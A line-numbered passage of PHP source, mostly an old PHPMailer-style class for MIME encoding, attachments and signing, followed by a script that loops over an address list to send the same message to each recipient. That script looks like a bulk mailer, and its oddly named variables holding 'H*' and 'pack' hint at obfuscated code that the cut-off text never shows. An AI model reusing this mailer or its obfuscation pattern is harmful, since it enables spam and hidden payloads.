2189
2190 return $result;
2191 }
2192
2193 /**
2194 * Returns the message MIME.
2195 * @access private
2196 * @return string
2197 */
2198 function GetMailMIME() {
2199 $result = '';
2200 switch($this->message_type) {
2201 case 'plain':
2202 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2203 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2204 break;
2205 case 'attachments':
2206 /* fall through */
2207 case 'alt_attachments':
2208 if($this->InlineImageExists()){
2209 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2210 } else {
2211 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2212 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2213 }
2214 break;
2215 case 'alt':
2216 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2217 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2218 break;
2219 }
2220
2221 if($this->Mailer != 'mail') {
2222 $result .= $this->LE.$this->LE;
2223 }
2224
2225 return $result;
2226 }
2227
2228 /**
2229 * Assembles the message body. Returns an empty string on failure.
2230 * @access private
2231 * @return string
2232 */
2233 function CreateBody() {
2234 $result = '';
2235 if ($this->sign_key_file) {
2236 $result .= $this->GetMailMIME();
2237 }
2238
2239 $this->SetWordWrap();
2240
2241 switch($this->message_type) {
2242 case 'alt':
2243 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2244 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2245 $result .= $this->LE.$this->LE;
2246 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2247 $result .= $this->EncodeString($this->Body, $this->Encoding);
2248 $result .= $this->LE.$this->LE;
2249 $result .= $this->EndBoundary($this->boundary[1]);
2250 break;
2251 case 'plain':
2252 $result .= $this->EncodeString($this->Body, $this->Encoding);
2253 break;
2254 case 'attachments':
2255 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2256 $result .= $this->EncodeString($this->Body, $this->Encoding);
2257 $result .= $this->LE;
2258 $result .= $this->AttachAll();
2259 break;
2260 case 'alt_attachments':
2261 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2262 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2263 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2264 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2265 $result .= $this->LE.$this->LE;
2266 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2267 $result .= $this->EncodeString($this->Body, $this->Encoding);
2268 $result .= $this->LE.$this->LE;
2269 $result .= $this->EndBoundary($this->boundary[2]);
2270 $result .= $this->AttachAll();
2271 break;
2272 }
2273
2274 if($this->IsError()) {
2275 $result = '';
2276 } else if ($this->sign_key_file) {
2277 $file = tempnam("", "mail");
2278 $fp = fopen($file, "w");
2279 fwrite($fp, $result);
2280 fclose($fp);
2281 $signed = tempnam("", "signed");
2282
2283 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2284 $fp = fopen($signed, "r");
2285 $result = fread($fp, filesize($this->sign_key_file));
2286 fclose($fp);
2287 } else {
2288 $this->SetError($this->Lang("signing").openssl_error_string());
2289 $result = '';
2290 }
2291
2292 unlink($file);
2293 unlink($signed);
2294 }
2295
2296 return $result;
2297 }
2298
2299 /**
2300 * Returns the start of a message boundary.
2301 * @access private
2302 */
2303 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2304 $result = '';
2305 if($charSet == '') {
2306 $charSet = $this->CharSet;
2307 }
2308 if($contentType == '') {
2309 $contentType = $this->ContentType;
2310 }
2311 if($encoding == '') {
2312 $encoding = $this->Encoding;
2313 }
2314 $result .= $this->TextLine('--' . $boundary);
2315 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2316 $result .= $this->LE;
2317 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2318 $result .= $this->LE;
2319
2320 return $result;
2321 }
2322
2323 /**
2324 * Returns the end of a message boundary.
2325 * @access private
2326 */
2327 function EndBoundary($boundary) {
2328 return $this->LE . '--' . $boundary . '--' . $this->LE;
2329 }
2330
2331 /**
2332 * Sets the message type.
2333 * @access private
2334 * @return void
2335 */
2336 function SetMessageType() {
2337 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2338 $this->message_type = 'plain';
2339 } else {
2340 if(count($this->attachment) > 0) {
2341 $this->message_type = 'attachments';
2342 }
2343 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2344 $this->message_type = 'alt';
2345 }
2346 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2347 $this->message_type = 'alt_attachments';
2348 }
2349 }
2350 }
2351
2352 /* Returns a formatted header line.
2353 * @access private
2354 * @return string
2355 */
2356 function HeaderLine($name, $value) {
2357 return $name . ': ' . $value . $this->LE;
2358 }
2359
2360 /**
2361 * Returns a formatted mail line.
2362 * @access private
2363 * @return string
2364 */
2365 function TextLine($value) {
2366 return $value . $this->LE;
2367 }
2368
2369 /////////////////////////////////////////////////
2370 // CLASS METHODS, ATTACHMENTS
2371 /////////////////////////////////////////////////
2372
2373 /**
2374 * Adds an attachment from a path on the filesystem.
2375 * Returns false if the file could not be found
2376 * or accessed.
2377 * @param string $path Path to the attachment.
2378 * @param string $name Overrides the attachment name.
2379 * @param string $encoding File encoding (see $Encoding).
2380 * @param string $type File extension (MIME) type.
2381 * @return bool
2382 */
2383 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2384 if(!@is_file($path)) {
2385 $this->SetError($this->Lang('file_access') . $path);
2386 return false;
2387 }
2388
2389 $filename = basename($path);
2390 if($name == '') {
2391 $name = $filename;
2392 }
2393
2394 $cur = count($this->attachment);
2395 $this->attachment[$cur][0] = $path;
2396 $this->attachment[$cur][1] = $filename;
2397 $this->attachment[$cur][2] = $name;
2398 $this->attachment[$cur][3] = $encoding;
2399 $this->attachment[$cur][4] = $type;
2400 $this->attachment[$cur][5] = false; // isStringAttachment
2401 $this->attachment[$cur][6] = 'attachment';
2402 $this->attachment[$cur][7] = 0;
2403
2404 return true;
2405 }
2406
2407 /**
2408 * Attaches all fs, string, and binary attachments to the message.
2409 * Returns an empty string on failure.
2410 * @access private
2411 * @return string
2412 */
2413 function AttachAll() {
2414 /* Return text of body */
2415 $mime = array();
2416
2417 /* Add all attachments */
2418 for($i = 0; $i < count($this->attachment); $i++) {
2419 /* Check for string attachment */
2420 $bString = $this->attachment[$i][5];
2421 if ($bString) {
2422 $string = $this->attachment[$i][0];
2423 } else {
2424 $path = $this->attachment[$i][0];
2425 }
2426
2427 $filename = $this->attachment[$i][1];
2428 $name = $this->attachment[$i][2];
2429 $encoding = $this->attachment[$i][3];
2430 $type = $this->attachment[$i][4];
2431 $disposition = $this->attachment[$i][6];
2432 $cid = $this->attachment[$i][7];
2433
2434 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2435 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2436 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2437
2438 if($disposition == 'inline') {
2439 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2440 }
2441
2442 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2443
2444 /* Encode as string attachment */
2445 if($bString) {
2446 $mime[] = $this->EncodeString($string, $encoding);
2447 if($this->IsError()) {
2448 return '';
2449 }
2450 $mime[] = $this->LE.$this->LE;
2451 } else {
2452 $mime[] = $this->EncodeFile($path, $encoding);
2453 if($this->IsError()) {
2454 return '';
2455 }
2456 $mime[] = $this->LE.$this->LE;
2457 }
2458 }
2459
2460 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2461
2462 return join('', $mime);
2463 }
2464
2465 /**
2466 * Encodes attachment in requested format. Returns an
2467 * empty string on failure.
2468 * @access private
2469 * @return string
2470 */
2471 function EncodeFile ($path, $encoding = 'base64') {
2472 if(!@$fd = fopen($path, 'rb')) {
2473 $this->SetError($this->Lang('file_open') . $path);
2474 return '';
2475 }
2476 $magic_quotes = get_magic_quotes_runtime();
2477 set_magic_quotes_runtime(0);
2478 $file_buffer = fread($fd, filesize($path));
2479 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2480 fclose($fd);
2481 set_magic_quotes_runtime($magic_quotes);
2482
2483 return $file_buffer;
2484 }
2485
2486 /**
2487 * Encodes string to requested format. Returns an
2488 * empty string on failure.
2489 * @access private
2490 * @return string
2491 */
2492 function EncodeString ($str, $encoding = 'base64') {
2493 $encoded = '';
2494 switch(strtolower($encoding)) {
2495 case 'base64':
2496 /* chunk_split is found in PHP >= 3.0.6 */
2497 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2498 break;
2499 case '7bit':
2500 case '8bit':
2501 $encoded = $this->FixEOL($str);
2502 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2503 $encoded .= $this->LE;
2504 break;
2505 case 'binary':
2506 $encoded = $str;
2507 break;
2508 case 'quoted-printable':
2509 $encoded = $this->EncodeQP($str);
2510 break;
2511 default:
2512 $this->SetError($this->Lang('encoding') . $encoding);
2513 break;
2514 }
2515 return $encoded;
2516 }
2517
2518 /**
2519 * Encode a header string to best of Q, B, quoted or none.
2520 * @access private
2521 * @return string
2522 */
2523 function EncodeHeader ($str, $position = 'text') {
2524 $x = 0;
2525
2526 switch (strtolower($position)) {
2527 case 'phrase':
2528 if (!preg_match('/[\200-\377]/', $str)) {
2529 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2530 $encoded = addcslashes($str, "\0..\37\177\\\"");
2531 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2532 return ($encoded);
2533 } else {
2534 return ("\"$encoded\"");
2535 }
2536 }
2537 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2538 break;
2539 case 'comment':
2540 $x = preg_match_all('/[()"]/', $str, $matches);
2541 /* Fall-through */
2542 case 'text':
2543 default:
2544 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2545 break;
2546 }
2547
2548 if ($x == 0) {
2549 return ($str);
2550 }
2551
2552 $maxlen = 75 - 7 - strlen($this->CharSet);
2553 /* Try to select the encoding which should produce the shortest output */
2554 if (strlen($str)/3 < $x) {
2555 $encoding = 'B';
2556 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2557 // Use a custom function which correctly encodes and wraps long
2558 // multibyte strings without breaking lines within a character
2559 $encoded = $this->Base64EncodeWrapMB($str);
2560 } else {
2561 $encoded = base64_encode($str);
2562 $maxlen -= $maxlen % 4;
2563 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2564 }
2565 } else {
2566 $encoding = 'Q';
2567 $encoded = $this->EncodeQ($str, $position);
2568 $encoded = $this->WrapText($encoded, $maxlen, true);
2569 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2570 }
2571
2572 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2573 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2574
2575 return $encoded;
2576 }
2577
2578 /**
2579 * Checks if a string contains multibyte characters.
2580 * @access private
2581 * @param string $str multi-byte text to wrap encode
2582 * @return bool
2583 */
2584 function HasMultiBytes($str) {
2585 if (function_exists('mb_strlen')) {
2586 return (strlen($str) > mb_strlen($str, $this->CharSet));
2587 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2588 return False;
2589 }
2590 }
2591
2592 /**
2593 * Correctly encodes and wraps long multibyte strings for mail headers
2594 * without breaking lines within a character.
2595 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2596 * @access private
2597 * @param string $str multi-byte text to wrap encode
2598 * @return string
2599 */
2600 function Base64EncodeWrapMB($str) {
2601 $start = "=?".$this->CharSet."?B?";
2602 $end = "?=";
2603 $encoded = "";
2604
2605 $mb_length = mb_strlen($str, $this->CharSet);
2606 // Each line must have length <= 75, including $start and $end
2607 $length = 75 - strlen($start) - strlen($end);
2608 // Average multi-byte ratio
2609 $ratio = $mb_length / strlen($str);
2610 // Base64 has a 4:3 ratio
2611 $offset = $avgLength = floor($length * $ratio * .75);
2612
2613 for ($i = 0; $i < $mb_length; $i += $offset) {
2614 $lookBack = 0;
2615
2616 do {
2617 $offset = $avgLength - $lookBack;
2618 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2619 $chunk = base64_encode($chunk);
2620 $lookBack++;
2621 }
2622 while (strlen($chunk) > $length);
2623
2624 $encoded .= $chunk . $this->LE;
2625 }
2626
2627 // Chomp the last linefeed
2628 $encoded = substr($encoded, 0, -strlen($this->LE));
2629 return $encoded;
2630 }
2631
2632 /**
2633 * Encode string to quoted-printable.
2634 * @access private
2635 * @return string
2636 */
2637 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2638 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2639 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2640 $eol = "\r\n";
2641 $escape = '=';
2642 $output = '';
2643 while( list(, $line) = each($lines) ) {
2644 $linlen = strlen($line);
2645 $newline = '';
2646 for($i = 0; $i < $linlen; $i++) {
2647 $c = substr( $line, $i, 1 );
2648 $dec = ord( $c );
2649 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2650 $c = '=2E';
2651 }
2652 if ( $dec == 32 ) {
2653 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2654 $c = '=20';
2655 } else if ( $space_conv ) {
2656 $c = '=20';
2657 }
2658 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2659 $h2 = floor($dec/16);
2660 $h1 = floor($dec%16);
2661 $c = $escape.$hex[$h2].$hex[$h1];
2662 }
2663 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2664 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2665 $newline = '';
2666 // check if newline first character will be point or not
2667 if ( $dec == 46 ) {
2668 $c = '=2E';
2669 }
2670 }
2671 $newline .= $c;
2672 } // end of for
2673 $output .= $newline.$eol;
2674 } // end of while
2675 return trim($output);
2676 }
2677
2678 /**
2679 * Encode string to q encoding.
2680 * @access private
2681 * @return string
2682 */
2683 function EncodeQ ($str, $position = 'text') {
2684 /* There should not be any EOL in the string */
2685 $encoded = preg_replace("[\r\n]", '', $str);
2686
2687 switch (strtolower($position)) {
2688 case 'phrase':
2689 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2690 break;
2691 case 'comment':
2692 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2693 case 'text':
2694 default:
2695 /* Replace every high ascii, control =, ? and _ characters */
2696 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2697 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2698 break;
2699 }
2700
2701 /* Replace every spaces to _ (more readable than =20) */
2702 $encoded = str_replace(' ', '_', $encoded);
2703
2704 return $encoded;
2705 }
2706
2707 /**
2708 * Adds a string or binary attachment (non-filesystem) to the list.
2709 * This method can be used to attach ascii or binary data,
2710 * such as a BLOB record from a database.
2711 * @param string $string String attachment data.
2712 * @param string $filename Name of the attachment.
2713 * @param string $encoding File encoding (see $Encoding).
2714 * @param string $type File extension (MIME) type.
2715 * @return void
2716 */
2717 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2718 /* Append to $attachment array */
2719 $cur = count($this->attachment);
2720 $this->attachment[$cur][0] = $string;
2721 $this->attachment[$cur][1] = $filename;
2722 $this->attachment[$cur][2] = $filename;
2723 $this->attachment[$cur][3] = $encoding;
2724 $this->attachment[$cur][4] = $type;
2725 $this->attachment[$cur][5] = true; // isString
2726 $this->attachment[$cur][6] = 'attachment';
2727 $this->attachment[$cur][7] = 0;
2728 }
2729
2730 /**
2731 * Adds an embedded attachment. This can include images, sounds, and
2732 * just about any other document. Make sure to set the $type to an
2733 * image type. For JPEG images use "image/jpeg" and for GIF images
2734 * use "image/gif".
2735 * @param string $path Path to the attachment.
2736 * @param string $cid Content ID of the attachment. Use this to identify
2737 * the Id for accessing the image in an HTML form.
2738 * @param string $name Overrides the attachment name.
2739 * @param string $encoding File encoding (see $Encoding).
2740 * @param string $type File extension (MIME) type.
2741 * @return bool
2742 */
2743 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2744
2745 if(!@is_file($path)) {
2746 $this->SetError($this->Lang('file_access') . $path);
2747 return false;
2748 }
2749
2750 $filename = basename($path);
2751 if($name == '') {
2752 $name = $filename;
2753 }
2754
2755 /* Append to $attachment array */
2756 $cur = count($this->attachment);
2757 $this->attachment[$cur][0] = $path;
2758 $this->attachment[$cur][1] = $filename;
2759 $this->attachment[$cur][2] = $name;
2760 $this->attachment[$cur][3] = $encoding;
2761 $this->attachment[$cur][4] = $type;
2762 $this->attachment[$cur][5] = false;
2763 $this->attachment[$cur][6] = 'inline';
2764 $this->attachment[$cur][7] = $cid;
2765
2766 return true;
2767 }
2768
2769 /**
2770 * Returns true if an inline attachment is present.
2771 * @access private
2772 * @return bool
2773 */
2774 function InlineImageExists() {
2775 $result = false;
2776 for($i = 0; $i < count($this->attachment); $i++) {
2777 if($this->attachment[$i][6] == 'inline') {
2778 $result = true;
2779 break;
2780 }
2781 }
2782
2783 return $result;
2784 }
2785
2786 /////////////////////////////////////////////////
2787 // CLASS METHODS, MESSAGE RESET
2788 /////////////////////////////////////////////////
2789
2790 /**
2791 * Clears all recipients assigned in the TO array. Returns void.
2792 * @return void
2793 */
2794 function ClearAddresses() {
2795 $this->to = array();
2796 }
2797
2798 /**
2799 * Clears all recipients assigned in the CC array. Returns void.
2800 * @return void
2801 */
2802 function ClearCCs() {
2803 $this->cc = array();
2804 }
2805
2806 /**
2807 * Clears all recipients assigned in the BCC array. Returns void.
2808 * @return void
2809 */
2810 function ClearBCCs() {
2811 $this->bcc = array();
2812 }
2813
2814 /**
2815 * Clears all recipients assigned in the ReplyTo array. Returns void.
2816 * @return void
2817 */
2818 function ClearReplyTos() {
2819 $this->ReplyTo = array();
2820 }
2821
2822 /**
2823 * Clears all recipients assigned in the TO, CC and BCC
2824 * array. Returns void.
2825 * @return void
2826 */
2827 function ClearAllRecipients() {
2828 $this->to = array();
2829 $this->cc = array();
2830 $this->bcc = array();
2831 }
2832
2833 /**
2834 * Clears all previously set filesystem, string, and binary
2835 * attachments. Returns void.
2836 * @return void
2837 */
2838 function ClearAttachments() {
2839 $this->attachment = array();
2840 }
2841
2842 /**
2843 * Clears all custom headers. Returns void.
2844 * @return void
2845 */
2846 function ClearCustomHeaders() {
2847 $this->CustomHeader = array();
2848 }
2849
2850 /////////////////////////////////////////////////
2851 // CLASS METHODS, MISCELLANEOUS
2852 /////////////////////////////////////////////////
2853
2854 /**
2855 * Adds the error message to the error container.
2856 * Returns void.
2857 * @access private
2858 * @return void
2859 */
2860 function SetError($msg) {
2861 $this->error_count++;
2862 $this->ErrorInfo = $msg;
2863 }
2864
2865 /**
2866 * Returns the proper RFC 822 formatted date.
2867 * @access private
2868 * @return string
2869 */
2870 function RFCDate() {
2871 $tz = date('Z');
2872 $tzs = ($tz < 0) ? '-' : '+';
2873 $tz = abs($tz);
2874 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2875 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2876
2877 return $result;
2878 }
2879
2880 /**
2881 * Returns the appropriate server variable. Should work with both
2882 * PHP 4.1.0+ as well as older versions. Returns an empty string
2883 * if nothing is found.
2884 * @access private
2885 * @return mixed
2886 */
2887 function ServerVar($varName) {
2888 global $HTTP_SERVER_VARS;
2889 global $HTTP_ENV_VARS;
2890
2891 if(!isset($_SERVER)) {
2892 $_SERVER = $HTTP_SERVER_VARS;
2893 if(!isset($_SERVER['REMOTE_ADDR'])) {
2894 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2895 }
2896 }
2897
2898 if(isset($_SERVER[$varName])) {
2899 return $_SERVER[$varName];
2900 } else {
2901 return '';
2902 }
2903 }
2904
2905 /**
2906 * Returns the server hostname or 'localhost.localdomain' if unknown.
2907 * @access private
2908 * @return string
2909 */
2910 function ServerHostname() {
2911 if ($this->Hostname != '') {
2912 $result = $this->Hostname;
2913 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2914 $result = $this->ServerVar('SERVER_NAME');
2915 } else {
2916 $result = 'localhost.localdomain';
2917 }
2918
2919 return $result;
2920 }
2921
2922 /**
2923 * Returns a message in the appropriate language.
2924 * @access private
2925 * @return string
2926 */
2927 function Lang($key) {
2928 if(count($this->language) < 1) {
2929 $this->SetLanguage('en'); // set the default language
2930 }
2931
2932 if(isset($this->language[$key])) {
2933 return $this->language[$key];
2934 } else {
2935 return 'Language string failed to load: ' . $key;
2936 }
2937 }
2938
2939 /**
2940 * Returns true if an error occurred.
2941 * @return bool
2942 */
2943 function IsError() {
2944 return ($this->error_count > 0);
2945 }
2946
2947 /**
2948 * Changes every end of line from CR or LF to CRLF.
2949 * @access private
2950 * @return string
2951 */
2952 function FixEOL($str) {
2953 $str = str_replace("\r\n", "\n", $str);
2954 $str = str_replace("\r", "\n", $str);
2955 $str = str_replace("\n", $this->LE, $str);
2956 return $str;
2957 }
2958
2959 /**
2960 * Adds a custom header.
2961 * @return void
2962 */
2963 function AddCustomHeader($custom_header) {
2964 $this->CustomHeader[] = explode(':', $custom_header, 2);
2965 }
2966
2967 /**
2968 * Evaluates the message and returns modifications for inline images and backgrounds
2969 * @access public
2970 * @return $message
2971 */
2972 function MsgHTML($message,$basedir='') {
2973 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
2974 if(isset($images[2])) {
2975 foreach($images[2] as $i => $url) {
2976 // do not change urls for absolute images (thanks to corvuscorax)
2977 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
2978 $filename = basename($url);
2979 $directory = dirname($url);
2980 ($directory == '.')?$directory='':'';
2981 $cid = 'cid:' . md5($filename);
2982 $fileParts = split("\.", $filename);
2983 $ext = $fileParts[1];
2984 $mimeType = $this->_mime_types($ext);
2985 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
2986 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
2987 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
2988 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
2989 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
2990 }
2991 }
2992 }
2993 }
2994 $this->IsHTML(true);
2995 $this->Body = $message;
2996 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
2997 if ( !empty($textMsg) && empty($this->AltBody) ) {
2998 $this->AltBody = $textMsg;
2999 }
3000 if ( empty($this->AltBody) ) {
3001 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3002 }
3003 }
3004
3005 /**
3006 * Gets the mime type of the embedded or inline image
3007 * @access private
3008 * @return mime type of ext
3009 */
3010 function _mime_types($ext = '') {
3011 $mimes = array(
3012 'hqx' => 'application/mac-binhex40',
3013 'cpt' => 'application/mac-compactpro',
3014 'doc' => 'application/msword',
3015 'bin' => 'application/macbinary',
3016 'dms' => 'application/octet-stream',
3017 'lha' => 'application/octet-stream',
3018 'lzh' => 'application/octet-stream',
3019 'exe' => 'application/octet-stream',
3020 'class' => 'application/octet-stream',
3021 'psd' => 'application/octet-stream',
3022 'so' => 'application/octet-stream',
3023 'sea' => 'application/octet-stream',
3024 'dll' => 'application/octet-stream',
3025 'oda' => 'application/oda',
3026 'pdf' => 'application/pdf',
3027 'ai' => 'application/postscript',
3028 'eps' => 'application/postscript',
3029 'ps' => 'application/postscript',
3030 'smi' => 'application/smil',
3031 'smil' => 'application/smil',
3032 'mif' => 'application/vnd.mif',
3033 'xls' => 'application/vnd.ms-excel',
3034 'ppt' => 'application/vnd.ms-powerpoint',
3035 'wbxml' => 'application/vnd.wap.wbxml',
3036 'wmlc' => 'application/vnd.wap.wmlc',
3037 'dcr' => 'application/x-director',
3038 'dir' => 'application/x-director',
3039 'dxr' => 'application/x-director',
3040 'dvi' => 'application/x-dvi',
3041 'gtar' => 'application/x-gtar',
3042 'php' => 'application/x-httpd-php',
3043 'php4' => 'application/x-httpd-php',
3044 'php3' => 'application/x-httpd-php',
3045 'phtml' => 'application/x-httpd-php',
3046 'phps' => 'application/x-httpd-php-source',
3047 'js' => 'application/x-javascript',
3048 'swf' => 'application/x-shockwave-flash',
3049 'sit' => 'application/x-stuffit',
3050 'tar' => 'application/x-tar',
3051 'tgz' => 'application/x-tar',
3052 'xhtml' => 'application/xhtml+xml',
3053 'xht' => 'application/xhtml+xml',
3054 'zip' => 'application/zip',
3055 'mid' => 'audio/midi',
3056 'midi' => 'audio/midi',
3057 'mpga' => 'audio/mpeg',
3058 'mp2' => 'audio/mpeg',
3059 'mp3' => 'audio/mpeg',
3060 'aif' => 'audio/x-aiff',
3061 'aiff' => 'audio/x-aiff',
3062 'aifc' => 'audio/x-aiff',
3063 'ram' => 'audio/x-pn-realaudio',
3064 'rm' => 'audio/x-pn-realaudio',
3065 'rpm' => 'audio/x-pn-realaudio-plugin',
3066 'ra' => 'audio/x-realaudio',
3067 'rv' => 'video/vnd.rn-realvideo',
3068 'wav' => 'audio/x-wav',
3069 'bmp' => 'image/bmp',
3070 'gif' => 'image/gif',
3071 'jpeg' => 'image/jpeg',
3072 'jpg' => 'image/jpeg',
3073 'jpe' => 'image/jpeg',
3074 'png' => 'image/png',
3075 'tiff' => 'image/tiff',
3076 'tif' => 'image/tiff',
3077 'css' => 'text/css',
3078 'html' => 'text/html',
3079 'htm' => 'text/html',
3080 'shtml' => 'text/html',
3081 'txt' => 'text/plain',
3082 'text' => 'text/plain',
3083 'log' => 'text/plain',
3084 'rtx' => 'text/richtext',
3085 'rtf' => 'text/rtf',
3086 'xml' => 'text/xml',
3087 'xsl' => 'text/xml',
3088 'mpeg' => 'video/mpeg',
3089 'mpg' => 'video/mpeg',
3090 'mpe' => 'video/mpeg',
3091 'qt' => 'video/quicktime',
3092 'mov' => 'video/quicktime',
3093 'avi' => 'video/x-msvideo',
3094 'movie' => 'video/x-sgi-movie',
3095 'doc' => 'application/msword',
3096 'word' => 'application/msword',
3097 'xl' => 'application/excel',
3098 'eml' => 'message/rfc822'
3099 );
3100 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3101 }
3102
3103 /**
3104 * Set (or reset) Class Objects (variables)
3105 *
3106 * Usage Example:
3107 * $page->set('X-Priority', '3');
3108 *
3109 * @access public
3110 * @param string $name Parameter Name
3111 * @param mixed $value Parameter Value
3112 * NOTE: will not work with arrays, there are no arrays to set/reset
3113 */
3114 function set ( $name, $value = '' ) {
3115 if ( isset($this->$name) ) {
3116 $this->$name = $value;
3117 } else {
3118 $this->SetError('Cannot set or reset variable ' . $name);
3119 return false;
3120 }
3121 }
3122
3123 /**
3124 * Read a file from a supplied filename and return it.
3125 *
3126 * @access public
3127 * @param string $filename Parameter File Name
3128 */
3129 function getFile($filename) {
3130 $return = '';
3131 if ($fp = fopen($filename, 'rb')) {
3132 while (!feof($fp)) {
3133 $return .= fread($fp, 1024);
3134 }
3135 fclose($fp);
3136 return $return;
3137 } else {
3138 return false;
3139 }
3140 }
3141
3142 /**
3143 * Strips newlines to prevent header injection.
3144 * @access private
3145 * @param string $str String
3146 * @return string
3147 */
3148 function SecureHeader($str) {
3149 $str = trim($str);
3150 $str = str_replace("\r", "", $str);
3151 $str = str_replace("\n", "", $str);
3152 return $str;
3153 }
3154
3155 /**
3156 * Set the private key file and password to sign the message.
3157 *
3158 * @access public
3159 * @param string $key_filename Parameter File Name
3160 * @param string $key_pass Password for private key
3161 */
3162 function Sign($key_filename, $key_pass) {
3163 $this->sign_key_file = $key_filename;
3164 $this->sign_key_pass = $key_pass;
3165 }
3166
3167}
3168
3169$defaultport="H*";
3170 $nq=0;
3171
3172 for($x=0; $x<$numemails; $x++){
3173
3174 $to = $allemails[$x];
3175
3176 if ($to){
3177
3178 $to = ereg_replace(" ", "", $to);
3179
3180 $message = ereg_replace("&email&", $to, $message);
3181
3182 $subject = ereg_replace("&email&", $to, $subject);
3183 $qx=$x+1;
3184 print "Line $qx . Sending mail to $to.......";
3185
3186 flush();
3187$mail = new PHPMailer();
3188
3189if(empty($epriority)){$epriority="3";}
3190 $mail->Priority = "$epriority";
3191 $mail->IsSMTP();
3192 $IsSMTP="pack";
3193$mail->SMTPKeepAlive = true;
3194$mail->Host = "$my_smtp";
3195if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3196}
3197 if($sslclick=="ON"){
